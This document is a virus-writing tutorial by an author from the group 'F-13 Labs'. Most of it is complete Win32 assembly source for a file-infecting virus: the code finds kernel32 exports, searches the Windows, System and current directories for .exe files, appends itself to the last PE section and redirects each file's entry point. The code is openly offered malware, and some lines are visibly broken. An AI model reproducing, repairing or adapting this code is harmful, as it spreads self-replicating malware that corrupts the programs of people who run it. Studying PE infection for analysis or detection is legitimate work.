Disclaimer:
The author of this document is not responsible of any kind of damage that could be made with the bad use of this information. The objective of this paper is for educational and research purposes only. It is made for use in viruses, but not as to promote any intentional harm or damage on computer systems.
Author: lclee_vx
<Email: lclee_vx@yahoo.com>
1.0 Foreword / Introduction
I wrote this article just a bit later than when I started infecting PE, as all concepts were clear in mind. The infection method described consists on adding the virus to the PE file’s last section. Here I just wrote one simple windows virus so you will see here just few lines of code. (Interesting ones I think but maybe not optimized). Here we go, please notice that it is illegal to spread viruses, and all this information is completely theoretical, and for testing purposes in a controlled environment.
Note:
Here are 6 functional logic of a virus
1. Search for ImageBase address of Kernel32.dll
2. Search for a file to infect
3. Open the file to see if it is infected
4. If infected, search for another file
5. Else, infect the file
6. Return control to the host program.
This article is never perfect, so notify me the possible mistakes in this document for further updates. Contact me:
Email : lclee_vx@yahoo.com
Group : F-13 Labs
2.0 Useful Things for Coding
You need some things before start code the vx. As below:
1. The tasm 5.0 package – ASM compiler, I like tasm :) !!
2. The API list (win32 API help file)
3. PE file format – strongly recommended Matt Pietrek document
4. ASM instruction helps file – Google and download the following file, helppc.zip.
5. Basic knowledge on Win32ASM
6. Windows platform
7. Editor – I prefer EditPlus
8. Vmware – testing environment
3.0 Basic
3.1 Ring3
The i386 architecture has four privilege levels, also known as rings that control such things as memory access and access to certain sensitive CPU instructions. Ring 3 is the least privileged level. In order to maintain compatibility, only ring 0 (kernel mode) and ring 3 (user mode) are used such as Windows NT/2000. Firstly, while under Windows, the memory layout is like this:
00000000h – 3FFFFFFFh | Application code and data |
40000000h – 7FFFFFFFh | Shared memory (system dll’s) |
80000000h – BFFFFFFFh | Kernel |
C0000000h – FFFFFFFFh | Device Drivers |
Here, we will code the virus and Infect the PE files in level Ring3 (00000000h – 3FFFFFFFh). I won’t explain more about memory layout / architecture in Windows because I am sure that you cat get the info from Microsoft website [1]. I assume that you will do a virus that increases the last section of the PE file. This technique is much more easy that adding another section. Let’s see how a virus can change an executable header in the following sections.
3.2 PE Format
It is very important to have cleared the structure of the PE header for write Win32 virus. Well, here I will put the PE format layout in the Appendix and just give the short description on PE file, for know more just take a look to the documents I recommended below.
PE stands for Portable Executable. It is the native file format of Win32 such as binary programs (exe, dll, sys, scr) or object files (bpl, dpl, cpl, ocx, acm, ax). The meaning of Portable Executable is that the file format is universal across win32 platform such as Windows 98 and 2K/NT. To understand the PE file, please refer to
1. Site Iczelion :
2. Site msdn :
3. Site Jim Marinic :
3.3 Layout Win32 ASM program
The basic layout for a Win32 ASM program looks like below:
;--------------------------------------------------------------------//
.386p
.model flat, stdcall
extrn <external name 1>:PROC
extrn <external name 2>:PROC
……….
.data
.code
start:
<main code>
end start
end
;----------------------------------------------------------------------//
I assume that you posses at least basic knowledge of assembly language, which every cracker, coder should have.
Here is the simple example of Win32 ASM program. So what I do is just use a MessageBox and since we work in Win32 and we want to use full 32 bit power, the command will be “MessageBoxA”. Note that “A” Suffix for the “MessageBoxA” deal with ASCII character. We define it with the already known “extrn” command, and then push the parameters and call the MessageBoxA API function. Remember that the parameters must be pushed in reverse order. Here we go…
;--------------------------------------------------------------------------------------//
.386p
.model flat
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
szTitle db "Group : F-13 Labs", 0
szMessage db "This is Simple Win32 ASM program", 10
db "From lclee_vx (RosLee)", 0
.code
start:
push 00000000h
push offset szTitle
push offset szMessage
push 00000000h
call MessageBoxA
push 00000000h
call ExitProcess
end start
;----------------------------------------------------------------------------//
Finally, we compile a win32 ASM program. I hope it is clear how to code the win32 ASM program. You can also use makefile, or build a bat for compile ASM program automatically.
Tasm32 /m3 /ml program
Tlink32 /Tpe /aa program, program,, import32.lib
- Code Win32 Virus in Ring3
I will put here the code of a Win32 viruses simply for avoid the boring explanation of how to code the virus in Ring3, how to call the API functions to do the API hook and infect the PE file. Please noted that the Win32 virus code below without special features such as polymorphic engine. It is just a simple direct action virus to infect PE files, able to work in all win32 platforms. It is detected by all the antivirus software. So, it is not worth to change the strings and clam it is author.
;------------------------------------------------------------------------------------//
; Virus Name : F-13 V1.0
; Platform : Win32
; Author : lclee_vx (leelingchuan)
; Origin : Malaysia
; Group : F-13 Labs
; Target : PE files
; Copyright (c) 2005 by lclee_vx
;--------------------------------------------------------------------------------//
; There are some macros. And I set the length of the virus sizes.
;----------------------------------------------------------------------------------------//
.386
.model flat, stdcall
option casemap : none
VirusSize equ (offset Virus_End - offset Virus_Start)
.data
szTitle db "F-13 Labs", 0
szMessage db "lclee_vx", 0
.code
u32 db "User32.dll", 0
Virus_Start label byte
;----------------------------------------------------------------------------------------------------//
; Firstly, we must get the delta offset to known the current ImageBase. It is because we don’t
; know where we are executing the code. The “call” instruction will push the delta into stack
; And jump to next “pop” instruction. Now, ebp = Virtual Address of current process. The
; Current ImageBase = VirtualAddress – RVA (Relative Virtual Address of current process)
;---------------------------------------------------------------------------------------------------//
vxstart:
call delta
delta:
pop ebp
sub ebp, offset delta ;get the imagebase from the
;current process
;-----------------------------------------------------------------------------------------------------//
; esp=Address from the process was called. I put in ESI (it is in Kernel32.dll, probably
; CreateProcess API) and set to beginning of PE. Jump to the routine looking for Kernel32 Base
; address.
;----------------------------------------------------------------------------------------------------//
mov esi, [esp] ;load the return address
and esi, 0FFFFF000h ;Beginning of PE
call GetK32 ;routine to get imagebase of
;kernel32.dll :)
mov dword ptr [ebp+kernel], eax ;save the imagabase
; kernel32.dll
;---------------------------------------------------------------------------------------------------//
;jump to looking for the address of GetProcAddress function. The GetProcAddress function
;will help us to know the address of the API function we need to infect the PE file. Save the
;address in EDI
;-----------------------------------------------------------------------------------------------//
call GetApi ;search address
;GetProcAddress
mov [ebp+offset aGetProcAddress], edi ;save the VA GetProcAddress
;------------------------------------------------------------------------------------------------//
;edi=will hold the API address, esi=all the API ASCIIZ names we looking for. GetAPIs routine
;will search the API address we need
;-------------------------------------------------------------------------------------------------//
mov esi, [ebp+offset ListApi] ;start searching other API
mov edi, [ebp+offset OffsetApi] ;function we want..Rock :)!!
call GetApis
call Prepare ;prepare the location
;infect
call SetDirectory ;set the directory we want
;to scan files
;------------------------------------------------------------------------------------------------------//
;check whether is first generation (infected already?), if yes, we jump to running the pop up
;message as below we use the LoadLibrary function to load other dll file and GetProcAddress
;to get the address of API we needed. Here, we load the User32.dll and get the address of
;MessageBox function if not first generation, we reset back the old EIP and jump back to the
;original host
;--------------------------------------------------------------------------------------------------//
RestoreEIP:
cmp ebp, 0 ;first generation?
je Finish
mov eax, [ebp+offset OldEIP] ;restore old EIP
add eax, OldBase ;align to memory
jmp eax ;run back to the host
Finish:
call LoadDll
lea edx, [ebp+offset @MessageBoxA]
call GetAddr
push 0
push offset szTitle
push offset szMessage
push 0
mov eax, [ebp+offset @MessageBoxA]
call eax
call LoadDll
lea edx, [ebp+offset @ExitProcess]
call GetAddr
push 0
mov eax, [ebp+offset @ExitProcess]
call eax
;--------------------------------------------------------------------------------------------------//
;here we use the routine of LoadLibrary to load the dll we needed, here we load User32.dll
;and GetProcAddress to get the address..
;-----------------------------------------------------------------------------------------------//
LoadDll proc
push offset u32 ;load the User32.dll
mov eax, [ebp+offset @LoadLibraryA]
call eax
ret
LoadDll endp
GetAddr proc
push edx
push eax
mov eax, [ebp+offset aGetProcAddress]
call eax
ret
GetAddr endp
;--------------------------------------------------------------------------------------------//
;This part is start to infect the PE files. I use the method increase the last section. First, I
;will explain the API functions and arguments we needed.
;
; DWORD GetFileAttributes(
; LPCTSTR lpFileName // address of the name of a file or directory
; );
;a) lpFileName=address of the name
;
;
; BOOL SetFileAttributes(
; LPCTSTR lpFileName, // address of filename
; DWORD dwFileAttributes // address of attributes to set
; );
; a) dwFileAttributes=80h (any file)
;
;
; BOOL UnmapViewOfFile(
; LPCVOID lpBaseAddress // address where mapped view begins
; );
; a) lpBaseAddress=MapAddress returned by MapViewOfFile
;
;
; BOOL CloseHandle(
; HANDLE hObject // handle to object to close
; );
; a) hObject=can be handle by CreateFileMapping or CreateFile
;
;
; DWORD SetFilePointer(
; HANDLE hFile, // handle of file
; LONG lDistanceToMove, // number of bytes to move file pointer
; PLONG lpDistanceToMoveHigh, // address of high-order word of distance to move
; DWORD dwMoveMethod // how to move
; );
; a)hFile=File handle
; b)lDistanceToMove=length of file
; c)lpDistanceToMoveHigh=0
; d)dwMoveMethod=0 (from the beginning of file)
;
;
; BOOL SetEndOfFile(
; HANDLE hFile // handle of file whose EOF is to be set
; );
; a)hFile=file handle
;
;;we need to set the flags of section to allow us increase it, as below
; or dword ptr [esi+24h],00000020h ; Set [CWE] flags: code,
; or dword ptr [esi+24h],20000000h ; executable,
; or dword ptr [esi+24h],80000000h ; writable
;to make it easy, I just put the code as
; or dword ptr [esi+24h], 0A0000020h
;
;
;The formula we use to point to last section header as below:
; Address of the last section´s header =(Directory Table)+(No. of Directories)*(Directory Size) ; +(No. of Sections - 1)*(Section header size)
;And remember that
; The Directory size is 8
; The Section Header size is 28h.
;
;
;Let start a quick review of what we did to increase the last section.; 1)locate PE header first
; 2) locate Directory Table at 78h
; 3) locate last section´s header address (refer to the formula above)
; 4) increase the size of raw data
; 5) increase the virtual size
; 6) Get the “address copy to” and “address copy from” and start append the virus to
; the end
; 7) locate the new IP
; 8) mark the infected PE
; 9) increase the size of image
;Lastly, what you have to do is close the file and return to the host
;
;Note: Detail of the process please refer to the comment.
;--------------------------------------------------------------------------------------------//
InfectPE:
pushad ;save all register
lea esi, [ebp+WFD_szFileName]
push esi
mov eax, [ebp+offset @GetFileAttributesA] ;get the current FileAttributes
call eax
mov dword ptr [ebp+OldAttributes], eax ;save the current FileAttributes
push 80h ;here we set to open "Any"
;files
push esi
mov eax, [ebp+offset @SetFileAttributesA]
call eax
call OpenFile ;loop to open the file
inc eax ;error ??
cmp eax, 0
jz CantOpen ;jump out when error, :(!!
dec eax
mov dword ptr [ebp+FileHandle], eax ;save FileHandle
mov ecx, dword ptr [ebp+WFD_nFileSizeLow]
call GetMapHandle ;jmp to get mapping handle
cmp eax, 0 ;error ?
jz FailGetMap ;we failed
mov dword ptr [ebp+MapHandle], eax ;save the mapping Handle
mov ecx, dword ptr [ebp+WFD_nFileSizeLow] ;prepare the parameter
call MapFile ;start mapping the file
cmp eax, 0 ;error MapViewOfFile ??
jz CloseMap ;jump to Close Mapping the file
mov dword ptr [ebp+MapAddress], eax ;save the Mapping Address
mov esi, [eax+3ch] ;save PE header address into
;esi
add esi, eax ;esi = point to PE header
cmp dword ptr [esi], "EP" ;PE file ??
jnz UnMapFile ;close the file
cmp dword ptr [esi+4ch], "13F-" ;infected already??
jz UnMapFile
lea eax, [esi+28h] ;eax=Old EIP
mov dword ptr [ebp+OldEIP], eax ;save the Old EIP
mov ecx, dword ptr [esi+3ch] ;ecx = FileAlignment
push dword ptr [ebp+MapAddress] ;UnMap this file after get
;FileAlignment
mov eax, [ebp+Offset @UnMapViewOfFile]
call eax
push dword ptr [ebp+MapHandle]
mov eax, [ebp+offset @CloseHandle] ;close the MapHandle
call eax
mov eax, dword ptr [ebp+WFD_nFileSizeLow]
add eax, VirusSize
call AlignFile ;find No.of byte to pad
add eax, ecx ;eax = (Original File Size
;+VirusSize+No. byte to pad)
xchg eax, ecx ;ecx = eax
mov eax, dword ptr [ebp+FileHandle]
call GetMapHandle ;jump to CreateFileMapping
cmp eax, 0 ;error?
jz FailGetMap
call MapFile
cmp eax, 0 ;error??
jz CloseMap
mov esi, eax ;esi = PE pointer
mov edi, eax ;edi = PE pointer
mov ebx, dword ptr [esi+74h] ;ebx = NumberOfRvaAndSizes
shl ebx, 3 ;ebx * 8
xor eax, eax ;eax = 0
mov ax, word ptr [esi+06h] ;ax = number of sections
dec eax ;ax -1
mov ecx, 00000028h ;ecx = section header size
mul ecx ;eax = eax*ecx
add esi, 00000078h ;esi = ExportDirectory VA
add esi, ebx
add esi, ecx ;esi = pointer to Section
;Header
or dword ptr [esi+24h], 0A0000020h ;set the flags in section
mov eax, dword ptr [edi+28h] ;eax = AddressOfEntryPoint
mov dword ptr [ebp+OldEIP], eax ;save the OldEIP
mov eax, dword ptr [edi+34h] ;eax = ImageBase
mov dword ptr [ebp+OldBase], eax ;save the Original ImageBase
mov ebx, dword ptr [esi+10h] ;ebx = SizeOfRawData
mov edx, dword ptr [esi+14h] ;edx = PointerToRawData
add edx, ebx ;edx = Raw Pointer
mov eax, dword ptr [esi+0ch] ;eax = VirtualAddress
add eax, ebx ;eax=NewEIP =
;SizeOfRawData +
;VirtualAddress
mov dword ptr [ebp+NewEIP], eax ;save the New EIP
mov dword ptr [edi+28h], eax ;set the New EIP in the
;AddressOfEntryPoint
mov ebx, dword ptr [esi+10h] ;ebx = New SizeOfRawData
mov eax, ebx ;eax =ebx
add eax, VirusSize ;eax=NewSizeOfRawData +
;VirusSize
mov ecx, dword ptr [edi+3ch] ;ecx = FileAlign
call AlignFile ;jump to calculate the "number
;of byte to pad"
add eax, VirusSize ;eax=Number of byte to pad +
;VirusSize
add eax, ebx ;eax=eax+New SizeOfRawData
mov dword ptr [esi+08h], eax ;set the new VirtualSize
mov dword ptr [esi+10h], eax ;set the new SizeOfRawData
add ebx, [esi+0ch] ;ebx = New SizeOfRawData +
;VirtualAddress
mov dword ptr [edi+50h], eax ;set the new SizeOfImage
mov dword ptr [edi+4ch], "13F-" ;put the infected mark here
mov esi, dword ptr [ebp+vxstart] ;esi = point to the virus start =
;Address copy from
add edx, dword ptr [ebp+MapAddress] ;edx = Raw Pointer +
;MapAddress=Address copy to
xchg edi, edx
mov ecx, VirusSize ;set the length of virus
rep movsb ;start copy the virus to the end
;of section
jmp UnMapFile ;close the file
CantOpen:
push dword ptr [ebp+OldAttributes] ;here we failed to open the file
lea eax, [ebp+WFD_szFileName] ;with CreateFile function
push eax ;set to Old FileAttributes we
;get before
mov eax, [ebp+offset @SetFileAttributesA]
call eax
ret
FailGetMap:
push dword ptr [ebp+FileHandle]
mov eax, [ebp+offset @CloseHandle]
call eax
UnMapFile:
push dword ptr [ebp+MapAddress]
mov eax, [ebp+Offset @UnMapViewOfFile]
call eax
CloseMap:
push dword ptr [ebp+MapHandle]
mov eax, [ebp+offset @CloseHandle] ;close mapping
call eax
CloseFile:
mov ecx, dword ptr [ebp+WFD_nFileSizeLow] ;length
xor eax, eax ;eax =0
push eax
push eax
push ecx
push dword ptr [ebp+FileHandle]
mov eax, [ebp+offset @SetFilePointer]
call eax
push dword ptr [ebp+FileHandle]
mov eax, [ebp+offset @SetEndOfFile]
call eax
popad ;restore all register
ret
;-------------------------------------------------------------------------------------------------//
;here we align the file, need to get Number of byte to pad. This procedure is very
;important thing of the PE infection: align a number to a determinated factor. Below is the
;formula Number byte to pad = file alignment - remainer (NewSize/file alignment)
;--------------------------------------------------------------------------------------------------//
AlignFile proc
push edx ;save to stack
xor edx, edx ;edx=0, we need edx to save remainer
div ecx ;eax/ecx
sub ecx, edx ;ecx = Number byte to pad
pop edx
ret
AlignFile endp
;-------------------------------------------------------------------------------------------//
;we start mapping the file with MapViewOfFile function
; LPVOID MapViewOfFile(
; HANDLE hFileMappingObject, // file-mapping object to map into address space
; DWORD dwDesiredAccess, // access mode
; DWORD dwFileOffsetHigh, // high-order 32 bits of file offset
; DWORD dwFileOffsetLow, // low-order 32 bits of file offset
; DWORD dwNumberOfBytesToMap // number of bytes to map
; );
;
;The value of arguments is as below
; a)hFileMappingObject=File Map Handle (handle return by CreateFileMapping)
; b)dwDesiredAccess=2 (file map write mode)
; c)dwFileOffsetHigh=0
; d)dwFileOffsetLow=0
; e)dwNumberOfBytesToMap=byte to map
;------------------------------------------------------------------------------------------//
MapFile proc
push ecx
push 0h
push 0h
push 02h
push eax
mov eax, [ebp+offset @MapViewOfFile]
call eax
ret
MapFile endp
;--------------------------------------------------------------------------------------------//
;We start to get the mapping handle with CreateFileMapping function.
; HANDLE CreateFileMapping(
; HANDLE hFile, // handle to file to map
; LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // optional security attributes
; DWORD flProtect, // protection for mapping object
; DWORD dwMaximumSizeHigh, // high-order 32 bits of object size
; DWORD dwMaximumSizeLow, // low-order 32 bits of object size
; LPCTSTR lpName // name of file-mapping object
; );
;
;The value of arguments we need to set as below
; a) hFile=File Handle
; b) lpFileMappingAttributes=0 (default)
;flProtect=4 (page read/write)
;dwMaximumSizeHigh=0
;dwMaximumSizeLow=is the memory value we compute early
;lpName=0
;--------------------------------------------------------------------------------------------//
GetMapHandle proc
push 0h
push ecx
push 0h
push 04h
push 0h
push eax
mov eax, [ebp+offset @CreateFileMappingA]
call eax
ret
GetMapHandle endp
;--------------------------------------------------------------------------------------------//
;this part we open the file with CreateFile function. I think not need to explain more.
;
; HANDLE CreateFile(
; LPCTSTR lpFileName, // pointer to name of the file
; DWORD dwDesiredAccess, // access (read-write) mode
; DWORD dwShareMode, // share mode
; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to security attributes
; DWORD dwCreationDistribution, // how to create
; DWORD dwFlagsAndAttributes, // file attributes
; HANDLE hTemplateFile // handle to file with attributes to copy
; );
;
;The argument we need to set as below
; a)lpFileName=pointer to name of the file
; b)dwDesiredAccess=80000000h+40000000h (generic read/write)
; c)dwShareMode=1 (share for read)
; d)lpSecurityAttributes=0(default)
; e)dwCreationDistribution=3 (open existing file)
; f)dwFlagsAndAttributes=0 (any file)
; g)hTemplateFile=0 (for windows)
;--------------------------------------------------------------------------------------------//
OpenFile proc
xor eax, eax
push eax ;hTemplateFile=0 (default)
push eax ;dwFlagsAndAttributes=0 (any
;files)
push 03h ;dwCreationDistribution=3
;( Open existing files)
push eax ;lpSecurityAttributes=0
;( default)
push 01h ;dwShareMode=1 (share to
;read)
push 80000000h or 40000000h ;dwDesiredAccess (read/write)
push esi ;lpFileName
mov eax, [ebp+offset @CreateFileA] ;call CreateFile function
call eax
ret
OpenFile endp
;---------------------------------------------------------------------------------------------//
;here we set the location we want to start searching exe file. We just set searching 3
;level, everytime I set the location of directory, jump to searching the file.
;---------------------------------------------------------------------------------------------//
SetDirectory:
xor ecx, ecx ;ecx=0
mov byte ptr [ecx], 03h ;set counter
lea edi, [ebp+offset Directories]
StartSet:
push edi ;push the path
mov eax, [ebp+offset @SetCurrentDirectoryA] ;set to directory path
call eax
call ScanFiles ;start to scan file We need
add edi, 7Fh ;next directory
dec ecx ;ecx -1
jnz StartSet
ret
;---------------------------------------------------------------------------------------------//
;start searching the *exe files in the directory we are in. Here I just set to infect 10 files.
;Before that, please understand the structure WIN32_FIND_DATA. We use FindFirstFile,
;FindNextFile to search the *exe file. If we get it, jump to InfectPE to start infect the
;the file. We end the searching with FindClose function.
;---------------------------------------------------------------------------------------------//
ScanFiles:
mov dword ptr [ebp+CounterInfect], 00000000h ;set the counter=0
lea eax, [ebp+offset WIN32_FIND_DATA]
push eax
lea eax, [ebp+offset ExeMask] ;search the *.exe files
push eax
mov eax, [ebp+offset @FindFirstFileA] ;start searching
call eax
inc eax ;error?
cmp eax, 0
jz FailScan
dec eax
mov dword ptr [ebp+SearchHandle], eax ;save the search handle
Scan1:
call InfectPE
inc byte ptr [ebp+CounterInfect]
cmp byte ptr [ebp+CounterInfect], 0Ah ;over limit infected ??
jz FailScan
Scan2:
mov edi, dword ptr [ebp+WFD_szFileName] ;clear the filename
mov ecx, max_path ;prepare for FindNextFile
xor al, al ;function
rep stosb
lea eax, [ebp+offset WIN32_FIND_DATA]
push eax
push dword ptr [ebp+SearchHandle]
mov eax, [ebp+offset @FindNextFileA] ;call FindNextFile function
call eax
cmp eax, 0 ;error??
jnz Scan1
CloseScan:
push dword ptr [ebp+SearchHandle]
mov eax, [ebp+offset @FindClose] ;close find
call eax
FailScan:
cmp byte ptr [ebp+CounterInfect], 0Ah ;over limit ??
jnz Scan2
ret
;-------------------------------------------------------------------------------------------------//
;start search the Kernel32.dll base address. Here we set the limit 50page (refer LimitK32)
;check whether is the PE?, if not, search another page. If at the end still cant get the address,
;hardcode the Windows XP Kernel32.dll base address. Please note that as I not set SEH in
;the code, might cause the error when run this …not have time :( !!
;--------------------------------------------------------------=-----------------------------//
GetK32 proc
Search1:
cmp byte ptr [ebp+LimitK32], 00h ;50page already?
jz K32Failed
cmp dword ptr [esi], "ZM" ;MZ Signature?
jz CheckPE ;check is PE file??
Search2:
sub esi, 1000h ;search another page
dec byte ptr [ebp+LimitK32] ;LimitK32 - 1
jmp Search1
CheckPE:
mov edi, [esi+3ch] ;edi = address PE header
;edi will be used in GetApi
;routine
add edi, esi ;edi = point to PE header
cmp dword ptr [edi], "EP" ;PE file??
jz SuccessK32 ;if equal, we success
jmp Search2
K32Failed:
mov esi, KernelXP ;hardcode the Windows XP
;kernel32.dll base address
SuccessK32:
xchg eax, esi
ret
GetK32 endp
;--------------------------------------------------------------------------------------------//
;this part scan the Export Directory to get the GetProcAddress function we need. Before
;we start, please read the tutorial PE by Iczelion (refer to site I recommended). Ok, let
;start. First refer GetK32 routine, edi=point to PE header. Set the ESI=point to
;ExportDirectory VA, now ESI in point to Export Directory section (refer to PE structure in
;Appendix). We save the the value of Base, NumberOfNames, AddressOfFunction,
;AddressOfNames, AddressOfNameOrdinals. We compare the AddressOfNames with the
;API function needed (here is GetProcAddress). If match, now ECX=the index into the
;AddressOfOrdinals. Use the formula to retrieve the address of function.
;(1) Ordinal=CX*2+[Address of ordinals]
;(2) Address of Function (RVA)=Ordinal*4+[Address of Functions]
;--------------------------------------------------------------------------------------------//
GetApi proc
mov esi, [edi+78h] ;point to ExportDirectory VA
add esi, [ebp+kernel] ;normalize
mov [ebp+offset Export], esi ;save the ExportDirectory VA
add esi, 10h ;point to Base (ExportDirectory)
lodsd ;load the Base Address into
;EAX register
mov [ebp+offset Base], eax ;save Base (ExportDirectory)
lodsd
lodsd ;load the NumberOfNames
;address into EAX register
mov [ebp+offset NumNames], eax ;save NumberOfNames
lodsd ;load the AddressOfFunction
;in EAX
add eax, [ebp+kernel] ;normalize RVA
;AddressOfFunctions
mov [ebp+offset AddFunc], eax ;save AddressOfFunctions
lodsd
add eax, [ebp+kernel] ;normalize RVA
;AddressOfNames
lodsd
mov [ebp+offset AddNames], eax ;save AddressOfNames
add eax, [ebp+kernel] ;normalize RVA
;AddressOfNameOrdinals
mov [ebp+offset AddOrdinal], eax ;save AddressOfNameOrdinal
mov esi, [ebp+offset AddFunc] ;load the address of function
lodsd ;into esi
add eax, [ebp+kernel] ;normalize RVA function
mov esi, [ebp+offset AddNames] ;load esi=AddressOfNames
mov [ebp+offset NamesIndex], esi ;save the index of
;AddressOfNames
mov edi, [esi]
add esi, [ebp+kernel] ;normalize the RVA
;AddressOfNames
xor ecx, ecx ;set the counter=0, make sure
;not > NumNames ?
mov ebx, [ebp+offset FirstApi] ;start search GetProcAddress
mov esi, [ebp+offset AddNames]
mov [ebp+offset Index], esi ;set the index
add esi, [ebp+kernel] ;normalize RVA AddNames
Loop:
mov edi, ebx
Scan:
cmpsb ;compare string ESI, EDI
jne NextOne
cmp byte ptr [esi], 0 ;match??
je WeGet
jmp Scan
NextOne:
inc ecx increase counter
cmp cx, word ptr [ebp+offset NumNames] ;check whether > NumNames?
jg Failed
add dword ptr [ebp+offset Index], 4 ;next search
mov esi, [ebp+offset Index]
add esi, [ebp+kernel]
jmp Loop
WeGet:
shl ecx, 1 ;this part using the formula to
;retrieve the address. Refer to
;explanation above
mov esi, [ebp+AddOrdinal]
add esi, ecx lea eax, word ptr [esi]
shl eax, 2
add esi, [ebp+offset AddFunc]
mov edi, dword ptr [esi]
add edi, [ebp+kernel]
ret
Failed:
ret
GetApi endp
;---------------------------------------------------------------------------------------------------//
;start scan all API function we use to infect PE files. Here, we use the GetProcAddress to
;retrieve all the API address we needed. So, when we want to use the API function, we can
;use the method as below. For example we want to use FindFirstFile function
; push <argument FindFirstFile function>
; mov eax, [ebp+offset FindFirstFile]
; call eax
;---------------------------------------------------------------------------------------------------//
GetApis proc
G1: push esi ;Use the formula
mov eax, [ebp+kernel] ;(1) push <Api Function>
push eax ;(2) push ImageBase
;Kernel32.dll
mov eax, [ebp+offset aGetProcAddress] ;(3) call GetProcAddress
call eax ;return address is the RVA Api
;Function
cmp eax, 0
je G2
stosd ;store RVA address to edi
G2:
inc esi ;point to next Api function
cmp byte ptr [esi], 0AAh ;end??
je Out ;if yes, we are failed
jmp G1 ;loop again
Out:
ret
GetApis endp
;----------------------------------------------------------------------------------------------
;prepare the location to start infect. Before that, we need to remember the buffer size of
;directory is 7Fh. Here we use three function to set the location, GetWindowsDirectory,
;GetSystemDirectory, GetCurrentDirectory. Please read the Win32 APi…..
;----------------------------------------------------------------------------------------------
Prepare proc
lea edi, [ebp+WinDir]
push 7Fh ;push the buffer size
push edi
mov eax, [ebp+offset @GetWindowsDirectoryA] ;call GetWindowsDirectory
;Function
call eax
add edi, 7Fh
push 7Fh
push edi
mov eax, [ebp+offset @GetSystemDirectoryA] ;call GetSystemDirectory
;Function
call eax
add edi, 7Fh
push edi
push 7Fh
mov eax, [ebp+offset @GetCurrentDirectoryA] ;call GetCurrentDirectory
;Function
push eax
ret
Prepare endp
;--------------------------------------------------------------------------------------------
;variable
;---------------------------------------------------------------------------------------------
ExeMask db "*.exe", 0
max_path equ 260
CounterInfect dd 00000000h
SearchHandle dd 00000000h
FileHandle dd 00000000h
OldAttributes dd 00000000h
MapHandle dd 00000000h
MapAddress dd 00000000h
OldEIP dd 00000000h
NewEIP dd 00000000h
OldBase dd 00000000h
kernel dd 077E60000h
Export dd 00000000h
Base dd 00000000h
NumNames dd 00000000h
AddFunc dd 00000000h
AddNames dd 00000000h
AddOrdinal dd 00000000h
NamesIndex dd 00000000h
Index dd 00000000h
KernelXP equ 077E60000h
LimitK32 dw Limit
Limit equ (50000h/1000h)
Directories label byte
WinDir db 7Fh dup (00)
SysDir db 7Fh dup (00)
OrgDir db 7Fh dup (00)
ListApi label byte
@FindFirstFileA db "FindFirstFileA", 0
@FindNextFileA db "FindNextFileA", 0
@FindClose db "FindClose", 0
@GetFileAttributesA db "GetFileAttributesA", 0
@SetFileAttributesA db "SetFileAttributesA", 0
@CreateFileA db "CreateFileA", 0
@CreateFileMappingA db "CreateFileMappingA", 0
@CloseHandle db "CloseHandle", 0
@MapViewOfFile db "MapViewOfFile", 0
@SetFilePointer db "SetFilePointer", 0
@GetWindowsDirectoryA db "GetWindowsDirectoryA", 0
@GetSystemDirectoryA db "GetSystemDirectoryA", 0
@GetCurrentDirectoryA db "GetCurrentDirectoryA", 0
@SetCurrentDirectoryA db "SetCurrentDirectoryA", 0
@UnMapViewOfFile db "UnMapViewOfFile", 0
@SetEndOfFile db "SetEndOfFile", 0
@GetModuleHandleA db "GetModuleHandleA", 0
@LoadLibraryA db "LoadLibraryA", 0
@MessageBoxA db "MessageBoxA", 0
@ExitProcess db "ExitProcess", 0
db 0AAh
FirstApi db "GetProcAddress", 0
OffsetApi label byte
_FindFirstFileA dd 00000000h
_FindNextFileA dd 00000000h
_FindClose dd 00000000h
_GetFileAttributesA dd 00000000h
_SetFileAttributesA dd 00000000h
_CreateFileA dd 00000000h
_CreateFileMappingA dd 00000000h
_CloseHandle dd 00000000h
_MapViewOfFile dd 00000000h
_SetFilePointer dd 00000000h
_GetWindowsDirectoryA dd 00000000h
_GetSystemDirectoryA dd 00000000h
_GetCurrentDirectoryA dd 00000000h
_SetCurrentDirectoryA dd 00000000h
_UnMapViewOfFile dd 00000000h
_SetEndOfFile dd 00000000h
_GetModuleHandleA dd 00000000h
_LoadLibraryA dd 00000000h
_MessageBoxA dd 00000000h
_ExitProcess dd 00000000h
aGetProcAddress dd 00000000h
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
WIN32_FIND_DATA label byte
WFD_dwFileAttributes DD ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh DD ?
WFD_nFileSizeLow DD ?
WFD_dwReserved0 DD ?
WFD_dwReserved1 DD ?
WFD_szFileName DB max_path DUP (?)
WFD_szAlternateFileName DB 13 DUP (?)
DB 3 DUP (?) ; dword padding
SIZEOF_WIN32_FIND_DATA EQU SIZE WIN32_FIND_DATA
Virus_End label byte
end vxstart
4.1 Notes
I think that all about the Win32 virus in ring3. It is just a simple direct action virus without any special features to hide itself like polymorphic, anti debug or junk code. I also cut the part of spreading through the network LAN and email sending. It is able to work in all Win32 platforms and infects 10 files in the current, windows and system directory. As I know that some parts of the virus still not clear but I can’t put everything here.
Another thing is I also do not include SEH (Structured Exception Handling) and worried that this virus will cause error when run on Windows platform. Plus, now there was new method Vectored Exception Handling in Windows XP and 2003…Anyhow, the basic concept of Win32 Virus is presented. Figure 4.1.1 is show that the virus detected by Norton Anti-Virus and Virus name is BloodHound.W32.1 (Unknown Virus). Please refer to
Figure 4.1.1 Unknown Virus
Lastly, many thanks go to group rrlf, blueowl and group F-13 Labs members. :)!!
APPENDIX:
PE File Formats Offsets
DOS MZ Header:
+00 | WORD | e_magic | Magic Number MZ ($5A4D) |
+02 | WORD | e_cblp | Bytes on last page of file |
+04 | WORD | e_cp | Pages in file |
+06 | WORD | e_crlc | Relocations |
+08 | WORD | e_cparhdr | Size of header in paragraphs |
+0A (10) | WORD | e_minalloc | Minimum extra paragraphs needed |
+0C (12) | WORD | e_maxalloc | Maximum extra paragraphs needed |
+0E (14) | WORD | e_ss | Initial (relative) SS value |
+10 (16) | WORD | e_sp | Initial SP value |
+12 (18) | WORD | e_csum | Checksum |
+14 (20) | WORD | e_ip | Initial IP value |
+16 (22) | WORD | e_cs | Initial (relative) CS value |
+18 (24) | WORD | e_lfarlc | File address of relocation table |
